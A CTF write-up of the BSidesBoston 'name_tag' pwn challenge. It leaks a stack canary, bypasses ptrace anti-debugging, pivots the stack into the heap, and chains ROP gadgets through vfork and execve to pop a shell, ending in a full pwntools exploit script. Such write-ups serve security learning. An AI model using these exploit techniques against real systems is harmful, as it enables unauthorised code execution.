Tags: stackcanary syscall pwn stack_pivot 

Rating: 5.0

### Intro
This was a pretty fun challenge, that I came really close to finishing during the competition but just ran out of time at the end (it was a busy day for CTFs).

Anyway, let's checkout the binary:
![checksec](https://i.imgur.com/uGuygDQ.png)

The description for the challenge said libc would not be needed to solve the challenge, which is interesting.

Let's run it:
```
~/CTF/BSidesBos/PWN/name_tag$ ./name_tag

Welcome to Bsides Boston!!!!!!!!

In order for your name tag to be created you need to fill out some information.
Can you please tell us your first name? FIRST NAME

Welcome FIRST NAME
Can you please tell us a little about yourself?
Bio: BIO
Great!!!! Here's your name tag id: 28627552

Oh I almost forgot. Can you tell us your last name to finish up the name tag creation process? LAST NAME

Name Tag:
==========================
| First name: FIRST NAME |
| Last name: LAST NAME |
==========================
Bio: BIO
~/CTF/BSidesBos/PWN/name_tag$
```

So, we get to give it a first name, then a bio and then a last name.

### Checking out the functions in Ghidra
Firstly the main function:
![main function](https://i.imgur.com/idQC1Ya.png)

So, some interesting things here, we can see that "tag id" we were given, is actually the address of our malloc'd memory for the bio:
```
bio_ptr = (char *)malloc(0x200);
readStr(bio_ptr,0x200);
printf("Great!!!! Here\'s your name tag id: %d\n",bio_ptr);
```

Then its using the readStr function to read in our input. Let's look at that:
![readStr function](https://i.imgur.com/KtAf6GN.png)

It's a pretty vanilla copy loop that will terminate on a newline character or when the number of bytes read matches the length that was passed in (its pretty much fgets), but the important part is the fact that it doesn't null terminate the string.

Back in main we can see they are not calling this function safely:
```
char firstname [40];
long stackcookie;
...
readStr(firstname,0x40);
```

Looks like they have allowed a read of length 0x40, but given a buffer size of 40 (Oops).

Let's go checkout the stack in GDB.

### Discovering the binary has some anti-debugging
```
$ gdb -q ./name_tag
pwndbg: loaded 189 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./name_tag...(no debugging symbols found)...done.
pwndbg> start
Temporary breakpoint 1 at 0x40144e
[Inferior 1 (process 4526) exited normally]
pwndbg>
```

err... what? Luckily one of my team mates had already figured it out when I got to the challenge :)

There's an extra entry in the init_array section in the binary that points to an 'init' function:
![init function](https://i.imgur.com/FeDUveQ.png)

I'm showing the disassembly as Ghidra doesn't do a good job of decompiling it... but it's something like:

```
void init (void) {
if ( syscall(SYS_ptrace, PTRACE_TRACEME, 0x0, 0x1) == -1) {
exit(0);
}
}
```

We then simply make a patched version of the binary (I called it 'name_tag2'), by writing a ret to the start of that function (I also patched out a call to alarm in the binary while I was here).

### Testing out leaking the stack canary
```
~/CTF/BSidesBos/PWN/name_tag$ gdb -q ./name_tag2
pwndbg: loaded 189 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./name_tag2...(no debugging symbols found)...done.
pwndbg> # break point on 'readStr(firstname,0x40)'
pwndbg> b *0x4014cc
Breakpoint 1 at 0x4014cc
pwndbg> r
pwndbg> x/6gx $rdi
0x7fffffffdee0: 0x0000000000000000 0x0000000000000000
0x7fffffffdef0: 0x0000000000000000 0x0000000000000000
0x7fffffffdf00: 0x00007fffffffdff0 0xe70e24accd973400
pwndbg>
```

We can see that value of 0x003497cdac240ee7 is the stack canary, the first byte is always null, so we have to overwrite that also (or the canry isn't going to get printed). So let's try that out:

```
$ python -c 'print "A"*0x39' | ./name_tag

Welcome to Bsides Boston!!!!!!!!

In order for your name tag to be created you need to fill out some information.
Can you please tell us your first name?
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
Can you please tell us a little about yourself?
Bio: Great!!!! Here's your name tag id: 36012640

Oh I almost forgot. Can you tell us your last name to finish up the name tag creation process?
Name Tag:
================================================
| First name: �������������������������������������������������������������������������������� |
| Last name: ���������������������������������������������������������������������������������������������������������������� |
================================================
Bio: ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
*** stack smashing detected ***: <unknown> terminated

[7]+ Stopped python -c 'print "A"*0x39' | ./name_tag
~/CTF/BSidesBos/PWN/name_tag$
```

We can see when the first name is printed, we get characters after the string we entered:
```
Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����
```

### Repairing the canary so we can then control the saved instruction pointer
Back in main we can see we have another chance to feed an overly long string to the readStr function:
```
char lastname [32];
char firstname [40];
long stackcookie;

..
readStr(lastname,0x70);
```

Let's start fleshing out an exploit script and try this out:
```
#!/usr/bin/env python
from pwn import *

exe = context.binary = ELF('./name_tag', checksec=False)
if args.REMOTE:
io = remote('challenge.ctf.games', 32181)
else:
io = process(exe.path)

def cookie_leak():
# When asked for our firstname, overflow upto and including
# the first byte of the stack canary (always 0)
io.sendline(0x28*'X' + '@')
io.recvuntil('@')
cookie = u64('\x00'+io.recvuntil('\nCan', drop=True)[:7])
return cookie

def create_heap_object(data):
# create buffer on heap and get its address
io.recvuntil('Bio: ')
io.sendline(data)
io.recvuntil("tag id: ")
obj_id = int(io.recvline(),10)
return obj_id

def overflow_lastname(rbp, data):
# overflow all the way to saved return address, fixing the canary
# (we can fit 3 addresses after stored rbp)
io.recvuntil('process? ')
io.sendline('P'*0x48 + p64(cookie) + rbp + data)

cookie = cookie_leak() # leak the stack canary
info('leaked cookie: %016x' % cookie)

heap_obj = create_heap_object('X'*100)
info('our heap object: %x' % heap_obj)

overflow_lastname('SAVEDRBP', p64(0x1122334455667788)) # deliberatly crash

io.interactive()
```

It crashes and when we look in gdb, we've got to our deliberate crash address:
```
pwndbg> x/i $pc
=> 0x401592 <main+328>: ret
pwndbg> x/gx $sp
0x7fff910af268: 0x1122334455667788
pwndbg>
```

Now we try to create a loop, by replacing the call to 0x1122334455667788 with main:

```
overflow_lastname(cookie, 'SAVEDRBP', p64(exe.symbols.main))
```

But this crashes...

When we look at the coredump:
```
pwndbg> x/2i $pc
=> 0x7efc3545266e <buffered_vfprintf+158>: movaps XMMWORD PTR [rsp+0x50],xmm0
0x7efc35452673 <buffered_vfprintf+163>: mov QWORD PTR [rsp+0x108],rax
pwndbg>
```

It's a classic stack alignment issue, so we change the line to be (where RET is just the address of a ret instruction):
```
overflow_lastname(cookie, 'SAVEDRBP', p64(RET) + p64(exe.symbols.main))
```

and the loop is working:
```
[*] leaked cookie: f9ad33c10b64a000
[*] our heap object: 222f260
[*] Switching to interactive mode

Name Tag:
================================================
| First name: PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP |
| Last name: PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP |
================================================
Bio: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

Welcome to Bsides Boston!!!!!!!!

In order for your name tag to be created you need to fill out some information.
Can you please tell us your first name? $
```

### Pivot the stack for more ROP
At this point I could see that perhaps the goal here was to use the syscall instruction (from the ptrace call) to call execve and pop a shell, but we only have upto 3 addresses on the stack after the stored RBP that we can use. That leak of the heap address could provide the answer though.. We could write the rest of our ROP chain there and then pivot the stack to it.

Since we control RBP, we can just use a 'leave; ret' gadget to do the pivot. We'll need some other gadgets for the syscall, so I start hunting around.
I can find the following:
```
# ROP:
SYSCALL = 0x4015ba # "syscall"
POP_RDI = 0x401643 # "pop rdi; ret"
POP_RSI_R15 = 0x401641 # "pop rsi; pop r15; ret"
RET = 0x401644 # "ret"
LEAVE = 0x401591 # "leave; ret"
```

But nothing to set RAX or RDX... is this gong to be an issue?
We'll let's try the stack pivot and then check the state of the registers:
```
...
#
# Second time around: pivot stack
#
cookie = cookie_leak() # (stack cookie will be the same)

fake_stack = p64(ABCDEFGH) # new rbp
fake_stack = p64(0xdeadbeef) # deliberate crash

heap_obj2 = create_heap_object(fake_stack)
info('second heap object: %x' % heap_obj2)

overflow_lastname(p64(heap_obj2), p64(LEAVE))
```
Then check the crash in gdb (which was at the 0xdeadbeef address as we wanted):
```
pwndbg> i r rax rdi rsi rdx
rax 0x0 0
rdi 0x1 1
rsi 0x7fffc645a4a0 140736519840928
rdx 0x7f97bb9558c0 140289663916224
pwndbg> x/2gx 0x7f97bb9558c0
0x7f97bb9558c0 <_IO_stdfile_1_lock>: 0x0000000000000000 0x0000000000000000
pwndbg>
```

Looks like the value in RDX would workout ok as an envp pointer (lucky us ;-) )

### Setting RAX
The easiest way I could think of getting a value into RAX was going to be calling a function and having it return the value we wanted. The obvious choice for me here was puts. I could simply construct a string of the length I wanted (remembering to subtract one as puts adds a newline character) and then pass a pointer to it. That first set of bio data seemed like a good place for it, along with the '/bin/sh' string I'd want later, so changed the first heap object creation to be:
```
heap_buff = '/bin/sh\x00' # [heap_obj+0x00] - command for execve
heap_buff+= 'S'*0x3a+'\x00' # [heap_obj+0x08] - string for puts (to set rax)

heap_obj = create_heap_object(heap_buff)
```

Then I just need to call puts on it, so I change my fake stack ROP chain to be:
```
fake_stack = 'ABCDEFGH' # [heap_obj2+0x00] new rbp
# call puts to set rax
fake_stack+= p64(POP_RDI) # [heap_obj2+0x08]
fake_stack+= p64(heap_obj+0x8) # [heap_obj2+0x10]
fake_stack+= p64(exe.symbols.puts) # [heap_obj2+0x18] puts('SSSS...')
fake_stack+= p64(0xdeadbeef) # deliberate crash (for now)

heap_obj2 = create_heap_object(fake_stack)
```
Which gives:
```
pwndbg> i r rip rax
rip 0xdeadbeef 0xdeadbeef
rax 0x3b 59
pwndbg>
```

### Popping a shell
So now we just change the ROP chain to be the following:
```
### syscall(SYS_execve, '/bin/sh', 0x0, [ 0x0 ]) ###
# call puts to set rax to 0x3b
fake_stack+= p64(POP_RDI) # [heap_obj2+0x08]
fake_stack+= p64(heap_obj+0x8) # [heap_obj2+0x10] rdi = 'SSSS...' (len 58)
fake_stack+= p64(exe.symbols.puts) # [heap_obj2+0x18] puts('SSSS...')
# set rdi to point to /bin/sh
fake_stack+= p64(POP_RDI) # [heap_obj2+0x20]
fake_stack+= p64(heap_obj) # [heap_obj2+0x28] rdi = '/bin/sh'
# set rsi to be zero
fake_stack+= p64(POP_RSI_R15) # [heap_obj2+0x30]
fake_stack+= p64(0x0) # [heap_obj2+0x38] rsi = 0x0
fake_stack+= p64(0x0) # [heap_obj2+0x40] r15 = 0 (side effect)
# syscall
fake_stack+= p64(SYSCALL) # [heap_obj2+0x48] sycall(SYS_execve, '/bin/sh')
```

and run it:
```
~/CTF/BSidesBos/PWN/name_tag$ ./exploit.py
[*] '~/CTF/BSidesBos/PWN/name_tag/name_tag2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '~/CTF/BSidesBos/PWN/name_tag/name_tag2': pid 2104
[*] leaked cookie: 02ab280e1e28e200
[*] our heap object: 984260
[*] predicted_heap_addr: 984470
[*] second heap object: 984470
[*] Switching to interactive mode

Name Tag:
================================================
| First name: PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP |
| Last name: PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP |
================================================
Bio: ABCDEFGHC\x16
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
$ pwd
/home/user1/CTF/BSidesBos/PWN/name_tag
$
```

### Victory! ... right?
Well.... not so much... when we try to run it against the remote version it fails...

With a sense of foreboding we try it against the unpatched version:
```
[*] Process '/home/user1/CTF/BSidesBos/PWN/name_tag/name_tag' stopped with exit code -5 (SIGTRAP) (pid 2126)
```

and from the [ptrace man page](https://www.man7.org/linux/man-pages/man2/ptrace.2.html):
> If the PTRACE_O_TRACEEXEC option is not in effect, all successful
calls to execve(2) by the traced process will cause it to be sent a
SIGTRAP signal, giving the parent a chance to gain control before the
new program begins execution.

Yeap... and this is where I got to at close of play during the competition (whishing I'd looked at this challenge a little earlier in the day).

### vfork to the rescue
The next morning (after some coffee) I came up with the idea of calling SYS_vfork to get around the ptrace issue. However this would require another syscall and thus another use of the syscall gadget.. which isn't a 'syscall; ret', its effectively a 'syscall; leave; ret', so we have to fix our value of RBP to allow us to continue.

At this point I realised that after the first heap allocation (which we get the address of), the next heap allocation would be directly after it in memory (hence we can predict the address of it). Using this we can build the rop chain and have it point the rbp into itself:
```
heap_obj2 = heap_obj + 528 # predict heap addr

fake_stack = p64(heap_obj2+0x28) # [heap_obj2+0x00] new rbp (points to beefcafe below)
### syscall(SYS_vfork) ###
# call puts to set rax to 0x3a
fake_stack+= p64(POP_RDI) # [heap_obj2+0x08]
fake_stack+= p64(heap_obj+0x9) # [heap_obj2+0x10] rdi = 'SSSS...' (len 57)
fake_stack+= p64(exe.symbols.puts) # [heap_obj2+0x18] puts('SSSS...')
# syscall
fake_stack+= p64(SYSCALL) # [heap_obj2+0x20] sycall(SYS_vfork)
####################################################
fake_stack+= p64(0xbeefcafe) # [heap_obj2+0x28] new rbp
####################################################
### syscall(SYS_execve, '/bin/sh', 0x0, [ 0x0 ]) ###
# call puts to set rax to 0x3b
fake_stack+= p64(POP_RDI) # [heap_obj2+0x30]
fake_stack+= p64(heap_obj+0x8) # [heap_obj2+0x38] rdi = 'SSSS...' (len 58)
fake_stack+= p64(exe.symbols.puts) # [heap_obj2+0x40] puts('SSSS...')
# set rdi to point to /bin/sh
fake_stack+= p64(POP_RDI) # [heap_obj2+0x48]
fake_stack+= p64(heap_obj) # [heap_obj2+0x50] rdi = '/bin/sh'
# set rsi to be zero
fake_stack+= p64(POP_RSI_R15) # [heap_obj2+0x58]
fake_stack+= p64(0x0) # [heap_obj2+0x60] rsi = 0x0
fake_stack+= p64(0x0) # [heap_obj2+0x68] r15 = 0 (side effect)
# syscall
fake_stack+= p64(SYSCALL) # [heap_obj2+0x70] sycall(SYS_execve, '/bin/sh')
```

Running this:
```
~/CTF/BSidesBos/PWN/name_tag$ ./exploit.py REMOTE
[+] Opening connection to challenge.ctf.games on port 32181: Done
[*] leaked cookie: b8d573202a1fba00
[*] our heap object: 4222a0
[*] predicted_heap_addr: 4224b0
[*] second heap object: 4224b0
[*] Switching to interactive mode
$ id
uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)
$ ls -l
total 24
-r--r--r-- 1 root root 32 Aug 23 20:29 flag.txt
-r-xr-xr-x 1 root root 17504 Sep 24 17:58 name_tag
$ cat flag.txt
flag{not_your_typical_overflow}
$
```

-----
### Final exploit code
exploit.py:
```
#!/usr/bin/env python
from pwn import *

exe = context.binary = ELF('./name_tag', checksec=False)
if args.REMOTE:
io = remote('challenge.ctf.games', 32181)
else:
io = process(exe.path)

# ROP:
SYSCALL = 0x4015ba # "syscall"
POP_RDI = 0x401643 # "pop rdi; ret"
POP_RSI_R15 = 0x401641 # "pop rsi; pop r15; ret"
RET = 0x401644 # "ret"
LEAVE = 0x401591 # "leave; ret"

def cookie_leak():
# When asked for our firstname, overflow upto and including
# the first byte of the stack canary (always 0)
io.sendline(0x28*'X' + '@')
io.recvuntil('@')
cookie = u64('\x00'+io.recvuntil('\nCan', drop=True)[:7])
return cookie

def create_heap_object(data):
# create buffer on heap and get its address
io.recvuntil('Bio: ')
io.sendline(data)
io.recvuntil("tag id: ")
obj_id = int(io.recvline(),10)
return obj_id

def overflow_lastname(rbp, data):
# overflow all the way to saved return address, fixing the canary
# (we can fit 3 addresses after stored rbp)
io.recvuntil('process? ')
io.sendline('P'*0x48 + p64(cookie) + rbp + data)

#
# First time round: leak the cookie, get a heap address
#
cookie = cookie_leak()
info('leaked cookie: %016x' % cookie)

heap_buff = '/bin/sh\x00' # [heap_obj+0x00] - command for execve
heap_buff+= 'S'*0x3a+'\x00' # [heap_obj+0x08] - string for puts (to set rax)

heap_obj = create_heap_object(heap_buff)
info('our heap object: %x' % heap_obj)

overflow_lastname('SAVEDRBP', p64(RET) + p64(exe.symbols.main))

#
# Second time around: pivot stack
#

heap_obj2 = heap_obj + 528 # predict heap addr

cookie = cookie_leak() # (stack cookie will be the same)

fake_stack = p64(heap_obj2+0x28) # [heap_obj2+0x00] new rbp
### syscall(SYS_vfork) ###
# call puts to set rax to 0x3a
fake_stack+= p64(POP_RDI) # [heap_obj2+0x08]
fake_stack+= p64(heap_obj+0x9) # [heap_obj2+0x10] rdi = 'SSSS...' (len 57)
fake_stack+= p64(exe.symbols.puts) # [heap_obj2+0x18] puts('SSSS...')
# syscall
fake_stack+= p64(SYSCALL) # [heap_obj2+0x20] sycall(SYS_vfork)
####################################################
fake_stack+= p64(0xbeefcafe) # [heap_obj2+0x28] new rbp
####################################################
### syscall(SYS_execve, '/bin/sh', 0x0, [ 0x0 ]) ###
# call puts to set rax to 0x3b
fake_stack+= p64(POP_RDI) # [heap_obj2+0x30]
fake_stack+= p64(heap_obj+0x8) # [heap_obj2+0x38] rdi = 'SSSS...' (len 58)
fake_stack+= p64(exe.symbols.puts) # [heap_obj2+0x40] puts('SSSS...')
# set rdi to point to /bin/sh
fake_stack+= p64(POP_RDI) # [heap_obj2+0x48]
fake_stack+= p64(heap_obj) # [heap_obj2+0x50] rdi = '/bin/sh'
# set rsi to be zero
fake_stack+= p64(POP_RSI_R15) # [heap_obj2+0x58]
fake_stack+= p64(0x0) # [heap_obj2+0x60] rsi = 0x0
fake_stack+= p64(0x0) # [heap_obj2+0x68] r15 = 0 (side effect)
# syscall
fake_stack+= p64(SYSCALL) # [heap_obj2+0x70] sycall(SYS_execve, '/bin/sh')

info('predicted_heap_addr: %x' % heap_obj2)
heap_obj2 = create_heap_object(fake_stack)
info('second heap object: %x' % heap_obj2)

overflow_lastname(p64(heap_obj2), p64(LEAVE))

io.clean(0.5)
io.interactive()
```